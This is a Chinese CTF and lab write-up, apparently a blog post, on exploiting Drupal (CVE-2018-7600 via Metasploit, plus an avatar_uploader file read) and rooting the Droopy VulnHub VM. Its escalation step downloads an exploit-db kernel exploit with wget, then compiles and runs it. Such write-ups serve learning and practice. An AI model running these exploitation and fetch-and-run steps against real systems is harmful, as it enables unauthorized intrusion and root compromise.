[网鼎杯线下] web && droopy 靶场

网鼎杯线下web && droopy 靶场

这次网鼎打完啦,还是觉得自己太菜了
半决赛第二也是抱了pwn爷爷的大腿(aris 太强了)
回学校在做一波

Drupal

任意文件读取

web给了一个cms,比赛的时候想着在线审计一个cms也太不靠谱了。
但是我们还是头铁找到了一个任意文件读取
/sites/all/modules/avatar_uploader/lib/demo/view.php
源码

位置在这里=。=
很明显的任意文件读取,赛后才知道这也是一个CVE

远程代码执行漏洞(CVE-2018-7600)

但是就是看着别人打我们,我们抓到流量就是打不回去很难受
害的我们决赛的时候web丢分丢了2000分,太菜了
回去之后查了一下关于Drupal的cve
就查到了这个远程代码执行漏洞(CVE-2018-7600)
回来后辉神跟我说msf上面可能有让我找一下

msf使用

[网鼎杯线下] web && droopy 靶场_第1张图片
-w1049

在线搭一个Drupal来测试一下这个cve
顺便学习一下msf的使用,先使用这个模块,再看看他需要
use exploit/unix/webapp/drupal_drupalgeddon2
[网鼎杯线下] web && droopy 靶场_第2张图片
-w834

[网鼎杯线下] web && droopy 靶场_第3张图片
-w859

配置完设置
可以准备打过去了,可能是阿里云的原因一直打不过去,
赞叹一下阿里云牛逼
于是我换成了虚拟机,推荐一下
http://www.vulnhub.com
[网鼎杯线下] web && droopy 靶场_第4张图片
-w272

[网鼎杯线下] web && droopy 靶场_第5张图片
-w537

访问一下
[网鼎杯线下] web && droopy 靶场_第6张图片
-w1280

成功再像刚才一样配置一遍msf
[网鼎杯线下] web && droopy 靶场_第7张图片
-w855

成功了。。真简单
还可以用 background退回主界面
然后在用 session -i 来进入太强了

番外

既然已经进来了,而且是个靶机,它里面也有一个flag,顺便找一下
继续渗透
进入shell
看下自己什么权限发现自己是www-data
看了一下官网给的hint

[网鼎杯线下] web && droopy 靶场_第8张图片
-w301

提权

使用ofs.c提权
在tmp目录下进行
wget https://www.exploit-db.com/download/37292
下载下来

[网鼎杯线下] web && droopy 靶场_第9张图片
image

mv 37292 ofs.c
gcc ofs.c -o ofs
chmod +x ofs
./ofs

[网鼎杯线下] web && droopy 靶场_第10张图片
image

成功
在/var/mail 可以翻到一个信息
[网鼎杯线下] web && droopy 靶场_第11张图片
image

不明白,卡了挺久,上网查一下
[网鼎杯线下] web && droopy 靶场_第12张图片
image

是一个truecrypt容器,mac居然不能用=。=
看来是要将那个dava.tc解密了
给了hint说是关于学院小于11字,还说我肯定没有=。=
然后还给了一个乐队是the jam,让我们找一首歌
上网查一下估计是个学校有关。。看了很久终于找到
The Eton Rifles 是介绍eton 大学的
所以构造密码 etonacademy
[网鼎杯线下] web && droopy 靶场_第13张图片
image

正确=。=

cryptsetup open --type tcrypt dave.tc Dave
mount /dev/mapper/dave /media/Dave
cd /media/dev

看看有啥在里面

find .
.
./Panama
./Panama/shares.jpg
./.secret
./.secret/.top
./.secret/.top/flag.txt
./.secret/piers.png
./buller
./buller/BullingdonCrest.jpg
./lost+found

$ cat .secret/.top/flag.txt
################################################################################
# ___ ___ _ _ ___ ___ _ _____ _ _ _ _ _____ ___ ___ _ _ ___ #
# / __/ _ \| \| |/ __| _ \ /_\_ _| | | | | /_\_ _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ | / / _ \| | | |_| | |__ / _ \| | | | (_) | .` |\__ \ #
# \___\___/|_|\_|\___|_|_\/_/ \_\_| \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
# #
################################################################################

Firstly, thanks for trying this VM. If you have rooted it, well done!

Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
 --knightmare

远程代码执行漏洞(CVE-2018-7600) 原理

https://github.com/drupal/drupal/blob/8.6.x/core/lib/Drupal/Core/Render/Renderer.php?spm=a2c4e.11153940.blogcont584991.8.5b0555461HKIBf
源代码

if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);

主要漏洞是在这里
[#lazy_builder]的值为经过过滤就直接传入call_user_func_array导致任意命令执行

image

就可以把第一个当函数,第二个当调用参数可以进行任意命令执行

心得

第一次参加线下=。=真的是一点防备都没有
以后线下要给所有cms的cve做下备份
或者当场打开msf来试一试了=。=
web没前途呀

参考资料

https://blog.csdn.net/weed_hz/article/details/8949370xx
https://yq.aliyun.com/articles/584991

你可能感兴趣的:([网鼎杯线下] web && droopy 靶场)